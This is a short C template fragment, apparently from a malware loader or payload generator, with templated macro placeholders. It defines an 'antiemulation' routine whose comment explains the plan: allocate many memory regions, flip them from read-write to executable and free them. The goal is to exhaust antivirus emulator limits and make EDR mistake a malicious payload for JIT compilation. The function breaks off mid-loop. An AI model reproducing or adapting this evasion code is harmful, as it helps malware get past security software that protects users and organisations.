#define SIR_ITERATION_COUNT {{SIR_ITERATION_COUNT}} #define SIR_ALLOC_COUNT {{SIR_ALLOC_COUNT}} #define SIR_SLEEP_TIME 200 // ms /* This will allocate SIR_ALLOC_COUNT RW memory regions, set them to RX, and free them The idea is that the AV emulator will probably give up, either because of used memory is above maximum, or amount of instructions, or number of API calls, or time. It hopefully also makes the EDR think this program is doing some kind of interpreter or JIT compilation, and not a malicious payload. */ void antiemulation() { void* allocs[SIR_ALLOC_COUNT]; DWORD result; for(int i=0; i